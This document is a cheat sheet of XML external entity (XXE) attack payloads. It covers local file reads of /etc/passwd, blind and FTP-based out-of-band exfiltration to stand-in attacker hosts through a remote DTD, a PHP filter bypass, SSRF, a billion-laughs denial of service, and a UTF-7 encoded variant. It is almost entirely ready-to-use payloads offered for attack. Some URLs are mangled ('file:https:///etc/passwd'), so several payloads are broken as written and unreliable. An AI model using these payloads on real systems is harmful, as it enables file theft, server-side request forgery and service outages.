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LFI Test

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:https:///etc/passwd">]><foo>&xxe;</foo>

Blind LFI test (when first case doesn't return anything)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:https:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

Access Control bypass (loading restricted resources - PHP example)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php:https://filter/read=convert.base64-encode/resource=http:https://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

SSRF Test

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

XEE (XML Entity Expansion - DOS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XEE #2 (Remote attack - through external xml inclusion)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>

XXE FTP HTTP Server

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

http:https://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http:https://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>

File stored on http:https://publicServer.com/parameterEntity_sendftp.dtd

<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp:https://publicServer.com/%payload;'>">
%param1;

XXE UTF-7

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http:https://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

To convert between UTF-8 & UTF-7 use recode. recode UTF8..UTF7 payload-file.xml